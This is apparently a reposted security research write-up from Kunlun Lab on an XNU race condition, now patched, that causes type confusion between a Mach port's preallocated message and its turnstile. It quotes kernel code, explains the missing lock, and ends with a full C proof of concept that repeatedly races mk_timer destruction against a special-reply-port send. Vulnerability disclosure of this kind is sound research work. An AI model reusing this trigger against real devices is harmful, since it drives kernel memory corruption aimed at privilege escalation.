原文始发于昆仑实验室: XNU race condition leads to type confusion
相关文章
暂无评论...
This issue is about pre-allocated message of Mach port in
XNU. This kind of feature was often used by ianbeer in his
iOS kernel exploits. Apple might realized that it should
not be exposed to developers and denied the construction
of pre-allocated messages from userspace.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// mach_port_allocate_full() /* * Don't actually honor prealloc requests from user-space * (for security reasons, and because it isn't guaranteed anyway). * Keep old errors for legacy reasons. */ if (qosp->prealloc) { if (qosp->len > MACH_MSG_SIZE_MAX - MAX_TRAILER_SIZE) { return KERN_RESOURCE_SHORTAGE; } if (right != MACH_PORT_RIGHT_RECEIVE) { return KERN_INVALID_VALUE; } qosp->prealloc = 0; } |
The kernel doesn’t allow users to create per-allocated
message ports, but we could create such kinds ports indirectly.
mk_timer is kernel object which is bound to Mach port
with pre-allocated message and of course the port can be
exported to users.
On the other hand, the port even with kobject set is
still normal port because the receiver is not ipc_kernel.
That said, the messages sent to these ports will be pushed
to the message queues rather than the kernel.
The root cause of this issue is that the port is not locked
while fetching the turnstile object from it.
Here I’ll take ipc_port_send_update_inheritor() as an
example.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
void ipc_port_send_update_inheritor( ipc_port_t port, struct turnstile *send_turnstile, turnstile_update_flags_t flags) { ipc_mqueue_t mqueue = &port->ip_messages; turnstile_inheritor_t inheritor = TURNSTILE_INHERITOR_NULL; struct knote *kn; turnstile_update_flags_t inheritor_flags = TURNSTILE_INHERITOR_TURNSTILE; imq_held(mqueue); if (!ip_active(port)) { /* this port is no longer active, it should not push anywhere */ } else if (port->ip_specialreply) { /* Case 1. */ if (port->ip_sync_bootstrap_checkin && prioritize_launch) { inheritor = port->ip_messages.imq_srp_owner_thread; inheritor_flags = TURNSTILE_INHERITOR_THREAD; } } else if (port->ip_receiver_name == MACH_PORT_NULL && port->ip_destination != NULL) { /* Case 2. */ inheritor = port_send_turnstile(port->ip_destination); } else if (ipc_port_watchport_elem(port) != NULL) { /* Case 3. */ if (prioritize_launch) { assert(port->ip_sync_link_state == PORT_SYNC_LINK_ANY); inheritor = ipc_port_get_watchport_inheritor(port); inheritor_flags = TURNSTILE_INHERITOR_THREAD; } } else if (port->ip_sync_link_state == PORT_SYNC_LINK_WORKLOOP_KNOTE) { /* Case 4. */ inheritor = filt_ipc_kqueue_turnstile(mqueue->imq_inheritor_knote); } else if (port->ip_sync_link_state == PORT_SYNC_LINK_WORKLOOP_STASH) { /* Case 5. */ inheritor = mqueue->imq_inheritor_turnstile; } else if (port->ip_sync_link_state == PORT_SYNC_LINK_RCV_THREAD) { /* Case 6. */ if (prioritize_launch) { inheritor = port->ip_messages.imq_inheritor_thread_ref; inheritor_flags = TURNSTILE_INHERITOR_THREAD; } } else if ((kn = SLIST_FIRST(&mqueue->imq_klist))) { /* Case 7. Push on a workloop that is interested */ if (filt_machport_kqueue_has_turnstile(kn)) { assert(port->ip_sync_link_state == PORT_SYNC_LINK_ANY); inheritor = filt_ipc_kqueue_turnstile(kn); } } turnstile_update_inheritor(send_turnstile, inheritor, flags | inheritor_flags); } |
In case 2, if the receiver_name is null and the desti-
nation exists, the member object turnstile will be fetched
from the port’s destination whose type is Mach port. That
said, if the current port’s receive right is being sent to
other port, XNU names the receiver ip_destination, kernel
will fetch the turnstile from the ip_destination rather
than current port.
First we can say that the lock for the destination port
is not held at this time and this gives us the chance to race
to release the turnstile of the destination. But if you
ever read the code of this module you will find it makes no
sense, because the current port is bound to the destination
and you cannot release the destination’s turnstile while
the current port’s receive right is still in destination’s
message queue.
But if we take a deep look into port_send_turnstile we
could find something interesting.
1
|
#define port_send_turnstile(port) (IP_PREALLOC(port) ? (port)->ip_premsg->ikm_turnstile : (port)->ip_send_turnstile)
|
IP_PREALLOC tests if the port has pre-allocated message
and fetches the turnstile respectively. This is because
both ip_premsg and ip_send_turnstile shares the same union.
Next we could seek to know that how the PREALLOC flag
affects the flow.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
if (IP_PREALLOC(port)) { ipc_port_t inuse_port; kmsg = port->ip_premsg; assert(kmsg != IKM_NULL); inuse_port = ikm_prealloc_inuse_port(kmsg); ipc_kmsg_clear_prealloc(kmsg, port); imq_lock(&port->ip_messages); ipc_port_send_turnstile_recompute_push_locked(port); /* mqueue and port unlocked */ if (inuse_port != IP_NULL) { assert(inuse_port == port); } else { ipc_kmsg_free(kmsg); } } |
In ipc_port_destroy(), if the port is set PREALLOC then
the kmsg will be replaced by the turnstile itself.
We can conclude a race case as follow:
Zweig(@realBrightiup) of Kunlun Lab
A malicious application may be able to elevate privileges
https://support.apple.com/en-us/HT212867
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 |
#include <assert.h> #include <errno.h> #include <mach/mach.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> mach_port_t mk_timer_create(void); kern_return_t mk_timer_destroy(mach_port_t timer); mach_port_t thread_get_special_reply_port(void); typedef struct race_th_args_s race_th_args_t; struct race_th_args_s { int start; mach_port_t move_port; mach_port_t sr_port; mach_port_t timer; }; void *th_send_link(void *arg) { race_th_args_t *rta = (race_th_args_t *)arg; while (!rta->start); struct { mach_msg_header_t header; uint64_t data; } link_sr_msg = { .header = { .msgh_remote_port = rta->move_port, .msgh_local_port = rta->sr_port, .msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0), .msgh_voucher_port = MACH_PORT_NULL, .msgh_id = 0x99999999, .msgh_size = sizeof(link_sr_msg), }, .data = 0x6666666666666666, }; kern_return_t __unused kr = mach_msg(&link_sr_msg.header, MACH_SEND_MSG | MACH_SEND_OVERRIDE | MACH_SEND_SYNC_OVERRIDE | MACH_SEND_SYNC_BOOTSTRAP_CHECKIN, sizeof(link_sr_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); /*assert(kr == KERN_SUCCESS);*/ return NULL; } void *th_destroy(void *arg) { race_th_args_t *rta = (race_th_args_t *)arg; while (!rta->start); usleep(2); mk_timer_destroy(rta->timer); return NULL; } int go(void) { while (1) { mach_port_t timer = mk_timer_create(); printf("[*] timer = 0x%x\n", timer); mach_port_t move_port = MACH_PORT_NULL; kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &move_port); assert(kr == KERN_SUCCESS); kr = mach_port_insert_right(mach_task_self(), move_port, move_port, MACH_MSG_TYPE_MAKE_SEND); mach_port_t sr_port = thread_get_special_reply_port(); /*printf("[*] sr_port = 0x%x\n", sr_port);*/ struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port; } move_right_msg = { .header = { .msgh_remote_port = timer, .msgh_local_port = MACH_PORT_NULL, .msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX), .msgh_voucher_port = MACH_PORT_NULL, .msgh_id = 0x88888888, .msgh_size = sizeof(move_right_msg), }, .body = { .msgh_descriptor_count = 1, }, .port = { .name = move_port, .disposition = MACH_MSG_TYPE_MOVE_RECEIVE, .type = MACH_MSG_PORT_DESCRIPTOR, }, }; kr = mach_msg(&move_right_msg.header, MACH_SEND_MSG, sizeof(move_right_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); assert(kr == KERN_SUCCESS); race_th_args_t rta = { .start = 0, .move_port = move_port, .sr_port = sr_port, .timer = timer, }; pthread_t ths[2]; pthread_create(&ths[0], NULL, th_send_link, &rta); pthread_create(&ths[1], NULL, th_destroy, &rta); usleep(5); rta.start = 1; for (size_t i = 0; i < 2; i++) { pthread_join(ths[i], NULL); } mach_port_destroy(mach_task_self(), timer); mach_port_destroy(mach_task_self(), move_port); mach_port_destroy(mach_task_self(), sr_port); } return 0; } |
原文始发于昆仑实验室: XNU race condition leads to type confusion